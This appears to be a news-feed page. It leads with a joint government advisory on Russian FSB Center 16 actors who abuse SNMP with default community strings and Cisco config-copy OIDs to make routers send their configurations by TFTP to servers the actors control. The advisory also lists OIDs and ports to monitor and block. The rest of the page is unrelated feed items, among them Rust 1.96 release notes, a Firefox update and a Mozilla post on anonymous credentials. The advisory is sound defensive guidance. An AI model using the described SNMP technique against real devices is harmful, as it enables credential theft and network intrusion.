Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)
New Zealand National Cyber Security Centre (NCSC-NZ)
United Kingdom National Cyber Security Centre (NCSC-UK)
Czech Republic National Cyber and Information Security Agency (NÚKIB)¹ 
Danish Defence Intelligence Service (DDIS)²
Estonian Foreign Intelligence Service (EFIS)³ 
Estonian Information System Authority (RIA)⁴
Finnish Defence Intelligence (FDI)⁵
Finnish Security and Intelligence Service (SUPO)⁶
French National Cybersecurity Agency (ANSSI)⁷
Italian External Intelligence and Security Agency (AISE)⁸
Italian Internal Intelligence and Security Agency (AISI)⁹
The Military Counterintelligence Service of Poland (SKW)¹⁰
Sweden National Cyber Security Centre (NCSC-SE)¹¹

The authoring and co-sealing agencies strongly urge device owners and network defenders to take mitigation and remediation actions against Russian government-sponsored exploitation of vulnerable routers.




  
      




      Figure 1: FSB Center 16 activity and recommended mitigation actions
  
Download the PDF version of this report:

Improve Router Hygiene to Protect Against Russian State-Sponsored Targeting (PDF, 816KB)

Cybersecurity industry tracking 
The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to this activity. Although not all encompassing, the following list contains the most notable threat group names commonly used within the cybersecurity community related to this activity: 

Berserk Bear 
Energetic Bear
Crouching Yeti 
Dragonfly
Ghost Blizzard
Static Tundra

Note: Cybersecurity companies have different methods of tracking and attributing cyber actors, and this list may not provide a 1:1 correlation to the authoring agencies’ understanding for all activity related to these groupings.
Targeting details
Critical infrastructure sectors most at risk from the Russian Federal Security Service (FSB) Center 16 cyber actors’ targeting include:

Communications,
Defense Industrial Base,
Energy,
Financial Services,
Government Services and Facilities, especially organizations at the state and local level, and
Healthcare and Public Health.

Technical details
Note: This advisory uses the MITRE ATT&CK® Matrix for Enterprise¹² framework, version 19. See Appendix A for tables of the activity mapped to MITRE ATT&CK tactics and techniques. This advisory also uses MITRE DEFEND^TM version 1.4.0.
The Russian FSB Center 16 cyber actors primarily use scanning to identify poorly configured networking devices, primarily routers, for exploitation. The actors scan for Internet IP ranges with active Simple Network Management Protocol (SNMP) agents that accept common or default community strings for authentication [T1595.001, T1595.002]. These scans, run via proxies, consist of SNMP Set-Requests from a spoofed IP address [T1027] containing Object Identifiers (OIDs) that instruct the SNMP agent on poorly configured networking devices to [T1569, T1602.001, T1090]:

Copy its configuration to a file, often called “config.bkp” or “output.txt” [T1003, T1602.002].
Transfer the file, typically using Trivial File Transfer Protocol (TFTP), to an actor-controlled leased virtual private server (VPS) or compromised FTP server [T1583.003, T1090, T1071, T1048].

While SNMP scanning is the primary method the actors use to discover and exploit poorly configured networking devices, they occasionally exploit common vulnerabilities and exposures (CVEs) in Cisco devices, Cisco’s Smart Install (SMI) functionality, and web portals to manage network devices. The actors previously exploited at least the following CVEs [T1584.008, T1588.005, T1190, T1068]: 

CVE-2018-0171
CVE-2008-4128¹³

Many of these TTPs overlap with activity by other malicious cyber actors, such as Salt Typhoon. Even though this CSA focuses on Russian FSB Center 16 cyber activity, the mitigations below should detect and counter these and similar TTPs used by other actors.
Mitigation actions
The authoring agencies highly recommend network defenders implement the following mitigations to harden networks against this exploitation:

Disable Cisco Smart Install on all devices [D3-ACH]. [2]
Use SNMPv3 with “authPriv” configured to the most modern encryption standard that is supported by the device instead of SNMPv1 or SNMPv2 [D3-ACH]. [3]

Disable SNMPv1 and SNMPv2. These are legacy protocols and should no longer be needed on current devices. If they are necessary, change all community strings from defaults and only allow read-only community strings rather than read-write access.
SNMPv3 adds strong authentication and data encryption that are unavailable in SNMPv1 and v2. SNMPv3 replaces clear text shared passwords, known as community strings, with more securely encoded parameters, and authenticates and encrypts data [D3-MAN, D3-MENCR].


Use strong, unique passwords for local accounts on network devices and configure credentials to be stored securely to prevent reuse of compromised passwords [D3-CH].

Cisco devices protect passwords in the configuration file using different hashing types. Use hashing type 8 for user credentials. Avoid using hashing type 0, 4, and 7 as they are insecure or store passwords in plaintext in the configuration file. [4]
Monitor for unusual credentials that do not conform to standard organizational naming conventions [D3-PM]. 
 Monitor for and alert on logins using local accounts. Local accounts should only be used in emergency situations when accounts supported by centralized authentication servers are unavailable. Centralized authentication to network devices should support multi-factor authentication where feasible. [3]


Monitor and restrict access to SNMP OIDs using a Management Information Base (MIB) allow list [D3-ACH]. [5] Reference the vendor-specific MIB for the network devices and monitor OIDs for indications of reconnaissance or misconfiguration in logs or intrusion detection systems (IDS). IDS rules should be written for inbound SNMP Set-Requests that contain OIDs targeting sensitive device data [D3-PM].


Example OIDs include:

1.3.6.1.4.1.9.9.96.1.1 (Cisco Config Copy)
1.3.6.1.4.1.9.9.96.1.1.1.1.5 (Config Copy Server Address, value for this OID is where the configuration file is being sent to) 




Restrict management protocols [D3-NTF].

Use Access Control Lists (ACLs) to only allow management protocols, such as SNMP, from management devices, preferably on an out-of-band network. [3]
On edge firewalls and devices deny all external communications on the following ports unless mission critical, with strict monitoring if blocking is not feasible:

User Datagram Protocol (UDP) port 69 (TFTP) 
Transmission Control Protocol (TCP) port 4786 (SMI)
UDP ports 161 and 162 (SNMP)
TCP/UDP ports 10161 and 10162 (SNMPv3)




Update network device software and firmware images, especially to patch known vulnerabilities, and upgrade end-of-life devices to supported ones. 


Use an attack surface management service to identify and secure Internet-facing systems with weak configurations and known vulnerabilities [D3-NVA].

U.S.-based federal, state, local, tribal, and territorial governments and U.S. critical infrastructure organiztions should consider signing up for CISA’s no-cost Cyber Hygiene services.
U.S. Defense Industrial Base organizations should consider signing up for NSA’s DIB Cybersecurity Services.





Resources
United States:

Russia Threat Overview and Advisories
Network Infrastructure Security Guide

Canada:

Routers cyber security best practices (ITSAP.80.019)
Security considerations for edge devices (ITSM.80.101)
Guidance on securely configuring network protocols (ITSP.40.062)
Baseline security requirements for network security zones (ITSP.80.022)
Top 10 IT security actions to protect Internet-connected networks and information (ITSM.10.089)

Works cited
[1] FBI. Russian Government Cyber Actors Targeting Networking Devices, Critical Infrastructure. Alert Number: I-082025-PSA. 2025. https://www.ic3.gov/PSA/2025/PSA250820
[2] NSA. Cisco Smart Install Protocol Misuse. 2017. https://media.defense.gov/2019/Jul/16/2002157833/-1/-1/0/CSA-CISCO-SMART-INSTALL-PROTOCOL-MISUSE.PDF
[3] NSA. Network Infrastructure Security Guide. 2023. https://media.defense.gov/2022/Jun/15/2003018261/-1/-1/0/CTR_NSA_NETWORK_INFRASTRUCTURE_SECURITY_GUIDE_20220615.PDF
[4] NSA. Cybersecurity Information Sheet Cisco Password Types: Best Practices. 2022. https://media.defense.gov/2022/Feb/17/2002940795/-1/-1/0/CSI_CISCO_PASSWORD_TYPES_BEST_PRACTICES_20220217.PDF
[5] NSA. Cybersecurity Information Sheet: Reducing the Risk of Simple Network Management Protocol (SNMP) Abuse. 2026. https://media.defense.gov/2026/Jul/09/2003959459/-1/-1/0/CSI_REDUCING_RISK_OF_SNMP_ABUSE.PDF
Footnotes
¹Národní úřad pro kybernetickou a informační bezpečnost
² Forsvarets Efterretningstjeneste
³ Välisluureamet
⁴ Riigi Infosüsteem Amet
⁵ Sotilastiedustelu
⁶ Suojelupoliisi
⁷ Agence nationale de la sécurité des systèmes d’information
⁸ Agenzia Informazioni e Sicurezza Esterna
⁹ Agenzia Informazioni e Sicurezza Interna
¹⁰ Służba Kontrwywiadu Wojskowego
¹¹ Nationellt Cybersäkerhetscenter
¹²MITRE and ATT&CK are registered trademarks of The MITRE Corporation. MITRE DEFEND is a trademark of the MITRE Corporation.
¹³ CVE-2008-4128 only affects end-of-life Cisco devices.
Disclaimer of Endorsement
The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.
Purpose
This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.
Contact
United States organizations

National Security Agency (NSA)

Cybersecurity Report Feedback: CybersecurityReports@nsa.gov 
Defense Industrial Base Inquiries and Cybersecurity Services: DIB_Defense@cyber.nsa.gov 
Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, MediaRelations@nsa.gov


Cybersecurity and Infrastructure Security Agency (CISA) and Federal Bureau of Investigation (FBI)

 U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA via the agency’s Incident Reporting System, its 24/7 Operations Center (report@cisa.gov or 888-282-0870), or your local FBI field office. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment user for the activity; the name of the submitting company or organization; and a designated point of contact. 


United States Department of Defense Cyber Crime Center (DC3)  

Defense Industrial Base Inquiries and Cybersecurity Services: DC3.DCISE@us.af.mil 
Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at https://dibnet.dod.mil.
 Media Inquiries / Press Desk: DC3.Information@us.af.mil



Australian organizations

Australian Signals Directorate

Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.



Canadian organizations

The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices. 

Report an incident or suspicious activity to the Cyber Centre by email at contact@cyber.gc.ca, online via the reporting tool Report a cyber incident - Canadian Centre for Cyber Security or by phone at 1-833-CYBER-88 (1-833-292-3788).



New Zealand organizations

New Zealand National Cyber Security Centre (NCSC-NZ): info@ncsc.govt.nz

United Kingdom organizations

Report significant cyber security incidents to ncsc.gov.uk/report-an-incident (monitored 24/7)

Estonia organizations

Estonian Foreign Intelligence Service (EFIS): info@valisluureamet.ee

Finnish organizations

Finnish Security and Intelligence Service: supo.fi/en/contact

French organizations

French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: cert-fr@ssi.gouv.fr or by phone at: 3218 or +33 9 70 83 32 18.

Italian Organizations

Italian External Intelligence and Security Agency (AISE): 

Visit https://www.sicurezzanazionale.gov.it/ 


Italian Internal Intelligence and Security Agency (AISI): 

Visit https://www.sicurezzanazionale.gov.it/ 



Appendix A: MITRE ATT&CK tactics and techniques
See Table 1 through Table 10 for all the threat actor tactics and techniques referenced in this advisory.

Table 1: Reconnaissance



Technique Title


ID


Use





Active Scanning: Scanning IP Blocks
T1595.001
Scan range of IP addresses


Active Scanning: Vulnerability Scanning
T1595.002
Scan victims for vulnerabilities that can be used during targeting




Table 2: Resource Development



Technique Title


ID


Use





Acquire Infrastructure: Virtual Private Servers 
T1583.003 
Leverage VPS as infrastructure 


Compromise Infrastructure: Network Devices 
T1584.008 
Compromise intermediate routers 


Obtain Capabilities: Exploits 
T1588.005 
Use publicly available code to exploit vulnerable devices 




Table 3: Initial Access



Technique Title


ID


Use





Exploit Public-Facing Application 
T1190 
Exploit publicly known CVEs 


Proxy
T1090
Use a connection proxy to direct network traffic 




Table 4: Execution



Technique Title


ID


Use





System Services
T1569
Executing commands via SNMP




Table 5: Privilege Escalation



Technique Title


ID


Use





Exploitation for Privilege Escalation
T1068
Exploit publicly known CVEs for escalated privileges




Table 6: Stealth



Technique Title


ID


Use





Obfuscated Files or Information
T1027
Obfuscate source IP addresses in system logs, as actions may be recorded as originating from local IP addresses




Table 7: Credential Access



Technique Title


ID


Use





OS Credential Dumping
T1003
Collect router configuration with weak Cisco Type 7 passwords and Type 0




Table 8: Collection



Technique Title


ID


Use





Data from Configuration Repository: SNMP (MIB Dump) 
T1602.001 
Target MIB to collect network information via SNMP 


Data from Configuration Repository: Network Device Configuration Dump
T1602.002
Acquire credentials by collecting network device configurations




Table 9: Command and Control



Technique Title


ID


Use





Proxy 
T1090 
Use VPS for C2 


Application Layer Protocol 
T1071 
Open and expose a variety of different services, including TFTP and FTP




Table 10: Exfiltration



Technique Title


ID


Use





Exfiltration Over Alternative Protocol
T1048
Exfiltrating over a different protocol than that of the existing command and control channel. 



Appendix B: MITRE D3FEND countermeasures
See Table 11 for a mapping of several of the cybersecurity countermeasures mentioned in this advisory.

Table 11: MITRE D3FEND Countermeasures



Countermeasure Title


ID


Description





Application Configuration Hardening
D3-ACH


Use SNMPv3 and disable SNMPv1 and SNMPv2. 
Use SNMP allowlisting to restrict access to OIDs and MIBs. 
Disable Cisco Smart Install.




Message Authentication
D3-MAN


Use SNMPv3 with strong authentication.




Message Encryption
D3-MENCR


Use SNMPv3 to encrypt payloads.




Credential Hardening
D3-CH


Use strong, unique passwords and store them securely.




Platform Monitoring
D3-PM


Monitor for unusual credentials. 
Monitor SNMP Set-Requests for OIDs targeting sensitive device data.




Network Traffic Filtering
D3-NTF


Use ACLs to only allow management protocols from management devices. 
Block TFTP, SMI, and SNMP at edge firewalls.




Network Vulnerability Assessment
D3-NVA


Use an attack surface management service.







CVE-2022-40711 | PrimeKey EJBCA 7.9.0.2 End Entity Section cross site scripting (EUVD-2022-43981)
Sat, 25 Jul 2026 08:41:33 +0200
A vulnerability marked as problematic has been reported in PrimeKey EJBCA 7.9.0.2. This vulnerability affects unknown code of the component End Entity Section. This manipulation causes cross site scripting.

This vulnerability is registered as CVE-2022-40711. Remote exploitation of the attack is possible. No exploit is available.


The Rust Programming Language Blog: Announcing Rust 1.96.0
Sat, 25 Jul 2026 08:37:36 +0200
The Rust team is happy to announce a new version of Rust, 1.96.0. Rust is a programming language empowering everyone to build reliable and efficient software.
If you have a previous version of Rust installed via rustup, you can get 1.96.0 with:
$ rustup update stable
If you don't have it already, you can get rustup from the appropriate page on our website, and check out the detailed release notes for 1.96.0.
If you'd like to help us out by testing future releases, you might consider updating locally to use the beta channel (rustup default beta) or the nightly channel (rustup default nightly). Please report any bugs you might come across!

What's in 1.96.0 stable

New Range* types
Many users expect Range and related core::ops types to be Copy, but this is not the case: they implement Iterator directly, and it is a footgun to implement both Iterator and Copy on the same type so this has been avoided. RFC3550 proposed a set of replacement range types that implement IntoIterator rather than Iterator, meaning they can also be Copy. The standard library portion of that RFC is now stable, introducing:

core::range::Range
core::range::RangeFrom
core::range::RangeInclusive
Associated iterators

A Rust version in the near future will also add core::range::RangeFull and core::range::RangeTo as re-exports from core::ops (these do not implement Iterator and already implement Copy), and core::range::legacy::* as the new home for the current ranges. Range syntax like 0..1 still produces the legacy types for now, but will be updated to core::range types in a future edition.
With these stabilizations, it is now possible to store slice accessors in Copy types without splitting start and end:
use core::range::Range;

#[derive(Clone, Copy)]
pub struct Span(Range<usize>);

impl Span {
    pub fn of(self, s: &str) -> &str {
        &s[self.0]
    }
}
The new RangeInclusive also makes its fields public, unlike the legacy version which avoided exposing the exhausted iterator state. This isn't a concern with the new type since it must be converted to begin iteration.
Library authors should consider making use of impl RangeBounds in public API, which accepts both legacy and new range types. If a concrete type is needed, prefer using new ranges as this will eventually become the default.

Assert matching patterns
The new macros assert_matches! and debug_assert_matches! check that a value matches a given pattern, panicking with a Debug representation of the value otherwise. These are essentially the same as assert!(matches!(..)) and debug_assert!(matches!(..)), but the printed value improves the possibility of diagnosing the failure.
These new macros have not been added to the standard prelude, because they would collide with popular third-party crates that provide macros with the same name. Instead, they should be manually imported from core or std before use.
use core::assert_matches;

/// [Random Number](https://xkcd.com/221/)
fn get_random_number() -> u32 {
    // chosen by a fair dice roll.
    // guaranteed to be random.
    4
}

fn main() {
    assert_matches!(get_random_number(), 1..=6);
}

Changes to WebAssembly targets
WebAssembly targets no longer pass --allow-undefined to the linker which means that undefined symbols when linking are now a linker error instead of being converted to WebAssembly imports from the "env" module. This change prevents modules from linking unless all linking-related symbols are defined to catch bugs earlier and prevent accidental issues with symbol naming or similar.
Undefined linking-related symbols are often indicative of build-time related bugs or misconfiguration. If, however, the old behavior is intended then it can be re-enabled with RUSTFLAGS=-Clink-arg=--allow-undefined or by editing the source code and using #[link(wasm_import_module = "env")] on the block defining the symbol.
This change was previously announced on this blog, and now takes effect in Rust 1.96.

Stabilized APIs

assert_matches!
debug_assert_matches!
From for AssertUnwindSafe
From for LazyCell
From for LazyLock
core::range::RangeToInclusive
core::range::RangeFrom
core::range::RangeFromIter
core::range::Range
core::range::RangeIter


Two Cargo advisories
Rust 1.96 contains fixes for two vulnerabilities for users of third-party registries.


CVE-2026-5223 is a medium severity vulnerability regarding extraction of crate tarballs with symlinks.


CVE-2026-5222 is a low severity vulnerability regarding authentication with normalized URLs.


Users of crates.io are not affected by either vulnerability.

Other changes
Check out everything that changed in Rust, Cargo, and Clippy.

Contributors to 1.96.0
Many people came together to create Rust 1.96.0. We couldn't have done it without all of you. Thanks!


Firefox Nightly: Giving You More Control – These Weeks in Firefox: Issue 204
Sat, 25 Jul 2026 08:37:31 +0200
Highlights

Maxx Crawford added a pref to hide the New Tab logo so users can opt out of branding without altering page layout or resorting to CSS overrides.
Harshit enabled video overlay detection in Nightly 153, allowing you to use the context menu to control videos on more pages! We plan on letting this ride out in Firefox 153.

You can try it out on this Instagram reel in Nightly





A note to WebExtension authors – as part of a planned deprecation announced last month, executeScript and insertCSS are now restricted from moz-extension pages starting in Firefox 152 – Bug 2015559
Nicolas Chevobbe [:nchevobbe] added support and debugging for modern attr()(which is enabled on Nightly) (#2014751)


Friends of the Firefox team
Resolved bugs (excluding employees)
Script to find new contributors from bug list
Volunteers that fixed more than one bug

Sam Johnson
Sebastian Zartner [:sebo]

New contributors (🌟 = first patch)

Immaculate Atim: Switch to using an array instead of an object string for browser.backup.enabled_on.profiles
liz: Screenshots overlay visible on both splitview browsers
🌟 Rahman Mahmutović [:r_m]: Can’t change content in box model in inspector for box-sizing:border-box elements
Takeru Mitsumori: Fix typo in ID name about-translations-swap-langauges-icon in about-translations.html
🌟 Freya Arbjerg [:freyacodes]: Blackboxed columns are ignored
 tom.passarelli: tab-preview-panel emits unpaired popupshown/popuphidden events, breaking sidebar autohide

Project Updates
Add-ons / Web Extensions
Addon Manager & about:addons

As part of the work for the Project Nova about:addons page restyling, the about:addons sidebar has been migrated to the moz-page-nav and moz-page-nav-button reusable components, improving accessibility and visual consistency with the Firefox Desktop about:settings page – Bug 1881767

WebExtensions Framework

Implemented WebExtensions negative permissions infrastructure, providing the foundations for enterprise policy “blocked host permissions” features – Bug 1745823
Restricted host permission changes for MV3 extensions force-installed via enterprise policy (matching similar behaviors provided by Chrome enterprise policy behaviors) – Bug 1904054

Thanks to Mike Kaply for the implementation of this enterprise policy enforcement feature.



WebExtension APIs

Fixed handling of  as an API permission in Manifest V3, ensuring the permission is correctly initialized on extension install – Bug 1758306

DevTools

Rahman Mahmutović [:r_m] made it possible to edit width/height in the box model section of the Layout panel (#1717176)
Sebastian Zartner [:sebo] improved toggling tools driving in-page highlighters (e.g. the Measuring) (#1262773)
Sebastian Zartner [:sebo] added a setting to control visibility of HTML comments in the markup view (#1455294)
Freya Arbjerg [:freyacodes] fixed an issue in script blackboxing (#2036767)
Alexandre Poirot [:ochameau] replaced custom preference to log RDP messages with MOZ_LOG (#1622857)
Alexandre Poirot [:ochameau] fixed retrieval of garbage collected script text content (#1758454)

WebDriver

Sameem updated the “Take Element Screenshot” command from WebDriver Classic to crop screenshots of elements which exceed the viewport. This aligns with the specification and avoids errors when attempting to capture huge elements.
Alexandra Borovova updated the events for new top-level browsing contexts: we will not send anymore “browsingContext.domContentLoaded” and “browsingContext.load” events for them, instead the “browsingContext.contextCreated” event will be sent when a tab is ready to be used. This is required to align with the expected per-spec behavior.
Henrik Skupin landed a patch allowing geckodriver to gracefully shut down Firefox when geckodriver itself is terminated.
Hiroyuki Ikezoe disabled Firefox’s “scroll axis lock” feature so WebDriver actions for wheel input devices can scroll in arbitrary directions when using pan gestures.

Lint, Docs and Workflow

Added a rule to prevent new uses of Preferences.sys.mjs.
The browser environment globals within ESLint have now been updated. These include Sanitizer, VideoFrame and a few other new ones.
Temporal, and some other definitions have been added to TypeScript.

New Tab Page

Much has happened in the last 2 weeks! Here’s a full bug list, and here are some highlights.
Dre fixed the List widget that was creating a new list too eagerly on the New Tab Page (2033592) — prevents accidental list creation and improves the Lists UI reliability.
Maxx Crawford fixed Weather widget small card layout issues with opt-in location options and an error message displayed, resolving card overflow and removing the spurious opt-in error so users see a compact Weather card and correct location prompts on New Tab.
Reem Hamoui added key dates state to the Sports widget, enabling the Sports card to surface event deadlines/key-date highlights on New Tab so sports users see timely date info.
Scott Downe added a manage widgets option to the New Tab nova widgets context menu, giving users a direct context-menu entry to open the widget management flow from any widget with Nova enabled.
Scott Downe added a reusable Newtab widget base component to centralize lifecycle, focus/keyboard handling, DOM templates, and telemetry hooks, reducing duplication and making widget behavior more consistent; see Newtab widget base component.
Dre converted per-widget expansion handling to a shared widget expansion handler to unify expand/collapse state management and prevent widgets from incorrectly retaining or losing expanded state; see Convert widget expansion handling to shared widget expansion.
Nina Pypchenko [:nina-py] updated the Sports widget to populate the “follow teams” state from the /teams endpoint, so follow/unfollow toggles now reflect server-side subscriptions and reduce incorrect follow states.
Scott Downe moved widget menu items within New Tab widgets to standardize menu ordering and action grouping, so users find Add/Remove/Configure entries in expected positions across platforms.
Dre fixed a World Clock city search bug for the word clocks widget, restoring expected search filtering/matching so city lookups return correct results.
Scott Downe fixed an issue where the New Tab small weather widget size change didn’t always apply by correcting the widget size update path (JS/CSS layout interactions), improving consistent rendering for small-tile weather across responsive breakpoints and platforms; see Newtab small weather widget size change doesn’t always work.
Nina Pypchenko [:nina-py] added a group stage section to match highlights in the sports widget on New Tab so users now see stage-aware grouping and stage labels on match highlight cards, making tournament context (group vs knockout) visible while browsing highlights.
Dre fixed the small world clock widget not expanding to large while editing clocks so users can enter edit mode and expand the widget as expected; the change wires the edit-mode resize handler to update widget size/class during edits.
Maxx Crawford added WCW OMC message strings so World Cup widget messaging flows on New Tab now display the correct copy (localized where available) instead of falling back to missing-text behavior.
Reem Hamoui added a “View all” button and a list view for the results tab at medium widget size so Sports widget users on medium New Tab tiles can expand results and scroll full lists without resizing the widget.
Maxx Crawford added WCW “Watch Live” stream strings to the Sports widget strings bundle so the widget can surface a localized “Watch Live” CTA for applicable events.
Dre restored VoiceOver reachability for Edit/Remove in World Clock on macOS so macOS VoiceOver users can now focus and activate clock Edit/Remove controls thanks to accessibility role/label and focus-order fixes.
Maxx Crawford removed the persistent browser logo when all new-tab features (Top Sites, widgets, content feed) are disabled by adding a conditional render guard in the New Tab component, preventing an orphaned logo (2041033).
Mike Conley added New Tab jest tests to the node tests Tier 1 CI job Run newtab jest tests as part of node tests Tier 1 job to catch regressions earlier in CI
Irene Ni shipped multiple visual fixes for the Sports widget Sports widget – various visual fixes (spacing, truncation, icon alignment, clipping) to improve readability and layout on constrained viewports.

Picture-in-Picture

kpatenio adjusted our YouTube site specific wrapper so that the URL bar toggle appears more reliably, especially when selecting videos from the YouTube search page.
Thanks to Sylvestre for patching some bugs to prevent some spurious console errors!
Niklas fixed captions on autopip videos failing to sync with the origin videos.

Performance Tools (aka Firefox Profiler)

Firefox Profiler now has a CLI! We also added a profiler-analysis skill to the Firefox codebase. Once you capture a performance profile, you can ask Claude or an AI to analyze it by providing a link or local path. You can use it to analyze a performance regression or debug an issue if you have a profile at hand.

https://www.npmjs.com/package/@firefox-devtools/profiler-cli
You can install it with npm install -g @firefox-devtools/profiler-cli@latest



Search and Urlbar
Nova UI refresh

Drew and Daisuke continued working on reorganizing styles and updating the urlbar for Nova.
2019154, 2019152, 2041501, 2040532

Suggest

Drew landed several Suggest improvements: realtime suggestions colors, sports suggestions received World Cup tweaks, and online Suggest via OHTTP was enabled for eligible users in Firefox 153.
2040561, 2039753, 2035614, 2038843

Adaptive autofill

James fixed soft-block counting to track autofill dismisses, rather than consecutive backspaces on the same autofill, and added telemetry to measure URLs reintegration after blocking.
2040819, 2037177

Quick actions

Dharma created a new Firefox Labs quick action, fixed the Update action button, and re-enabled ScotchBonnet in some tests that were not updated yet.
Caleb added Calculator support for certain unicode operators.
2023169, 1928635, 1923383, 2033861

Multi Context Address Bar

Moritz continued refactoring the urlbar code: converted some of the js modules to not be system modules, fixed dynamic results templates, incorrect reuse of result rows, and keyboard shortcuts on the unified search button panel.
2039297, 2036095, 2039844, 2037933, 2030050

Other

Marco, Drew and Daisuke fixed several intermittent test failures.
2038510, 2023908, 2011584, 1938142, 1971091

Search

Mark removed old WebExtension-based search engines from the source tree, removed loading of search add-ons from resource://search-extensions/.
Caleb fixed multiple documentation issues and added a test covering searches from a private window.
1904613, 2035878, 2037942, 2033545, 2005724

Places

Marco removed some unnecessary database transactions, fixed the bookmarks panel folder dropdown on Windows, and resolved several intermittent test failures.
Thanks to Sam Johnson who fixed the bookmark edit panel showing “mobile” instead of “Mobile Bookmarks”.
2039534, 1505800, 2008829, 2029541, 2035084






Hacks.Mozilla.Org: PACT: Anonymous Credentials for the Web
Sat, 25 Jul 2026 08:37:27 +0200
This is the technical companion to our update on Distilled, “Keeping the web open and private in the bot era.” Here we take a deeper look at the problem space, the design we’re proposing, and the problems still left to solve. 
Bots (and privacy-preserving browsers) not welcome 
Browse a news site in a private window. Shop at a major retailer with a VPN. Visit a video streaming platform with anti-fingerprinting defenses tuned up. You’ll see the same responses: registration walls, block pages, and endless CAPTCHAs. The message is clear: if we think you might be a bot, you’re not welcome. 
Websites have valid reasons for wanting to block bots. Bots enable volumetric abuse, abuse that wouldn’t otherwise be feasible if they had to be carried out by humans.  For example: SEO comment spam, credential stuffing and DDoSing. Consequently many sites employ dedicated anti-abuse tooling which aims to keep the bots out whilst minimizing friction for human visitors. 
Unfortunately, that tooling is increasingly failing at both tasks. Browser privacy protections are dismantling the passive signals that anti-abuse systems depended on to identify and distinguish visitors. Meanwhile advances in generative AI have rendered CAPTCHAs ineffective: bots now solve them faster and more reliably than humans. 
Many sites are switching to more invasive mechanisms and now ask visitors to disclose identifying information, e.g. an email address, a federated login or disabling their VPN. This means greater friction for users, since providing these details on a first visit takes time. It also compromises their privacy, since these details enable the same kinds of cross-site tracking that browser privacy protections were intended to mitigate. 
This leaves users with a dilemma. The more effectively they protect their privacy, the harder it is for websites to distinguish them from bots and the worse the treatment they receive. Website operators are also suffering. The additional friction they inflict upon well-behaved visitors harms their site, but many are willing to pay the costs if it mitigates volumetric abuse. 
Browser-based AI agents make this tension more acute. Sites may want to allow agents which are acting on behalf of individual users while blocking agents engaged in volumetric abuse. However, with no effective mechanisms to distinguish the two, websites are opting to block both. That hurts users, who should be free to choose the user agent they use to access the web; it hurts new browsers and agents, which struggle to interoperate; and it hurts sites, which lose legitimate visitors.
The consequence is that the web gets worse for everyone. Users get more friction or less privacy or both. Website operators see more volumetric abuse and the friction they add drives away users who would otherwise want to consume their content or services. New user agents struggle to access the same content as conventional browsers. 
The Costs of Convenient Solutions
Some large ecosystem players have put forward solutions that leverage their control of the dominant operating systems and their deep integration with consumer hardware. These rely on device attestation: identifiers and privileged code baked into devices at the hardware level, which let manufacturers prove what software is running on a user’s device. Exposing this functionality to the web means attesting to sites that the user is running approved software with trusted hardware and therefore isn’t a bot. There have been two substantive proposals.
Google’s Web Environment Integrity, abandoned in 2023, was the blunt version. It attested to the user agent itself, as well as the operating system and device in use. Users would have lost control in two ways: once to the attester, which would decide which operating systems and devices could be blessed, and again to the website, which would decide which software to accept. If sites had adopted allow-lists of approved user agents, building a new browser would have become virtually impossible, and sites could have withdrawn access from any user agent they chose.
Apple’s Private Access Tokens, deployed across their ecosystem in 2022, have more subtle issues. Built on the Privacy Pass protocol standardized at the IETF, they get a lot right: a user receives a renewed, limited batch of one-time tokens that can be presented to websites without linking their visits together. This provides privacy for users and has shown rate limits to be an effective tool for sites – both points we’ll return to later in this post.
However, Private Access Tokens rely on device attestation, requiring that the hardware manufacturer be in overall control of the user’s device. Presenting a PAT tells a website you are locked into Apple’s rules for what counts as acceptable software. Due to PAT’s technical design^[1], there’s no way to open the system to other sources of scarcity without compromising the system’s privacy properties, meaning that if more widely deployed, access to the web would become tied to having bought expensive hardware from a small, hard to change set of vendors. 
Both approaches are ultimately hostile to users and to the openness of the web. Both are premised on parts of a user’s device that sit within the manufacturer’s control and beyond the user’s own. Were they widely deployed, the web would become just another walled garden with centralized gatekeepers controlling acceptable hardware, operating systems and software. As convenient as these solutions are for the players who already dominate the ecosystem, we think there’s a better path.
A Better Path Forward 
Bots’ harms arise from their ability to operate beyond human scale. For sites to prevent volumetric abuse they don’t actually need to know the user’s identity or receive cryptographic proof that they’re running approved software. If sites knew their visitors were restricted to a rate limit set by a site, that would be enough.  
Rate limits only make sense if they’re tied to something scarce; something an attacker can’t cheaply replicate to evade the limit. Without anchoring to a scarce resource, like the trusted hardware used in Private Access Tokens, attackers can generate as many fresh identities as they need to bypass the rate limit. 
However, hardware is just one option for scarcity. Anything a user already has that an attacker can’t trivially spin up at scale will work: email addresses and phone numbers are naturally scarce. A paid subscription costs an attacker the same as a real user.  Even maintaining an account on a free service requires some non-trivial work. 
What if we could use these scarce signals across the web? We could build an open ecosystem with many parties offering scarcity signals, each site choosing which to accept. By opening up who can provide a signal, and letting sites choose which to accept, we can avoid transferring control to device manufacturers and the resulting harms. 
As a concrete example of who might be well positioned to provide such a signal, we can consider VPN providers acting as a subscription service. Sites routinely block VPN users indiscriminately, whether through a deliberate policy choice or through an indirect consequence of rate limiting visitors per IP address. But a VPN subscription is a perfect source of scarcity. If the VPN provider could vouch for its users so that sites could rate limit each user individually – then users would be able to browse the web with less friction and without giving up their VPN usage. 
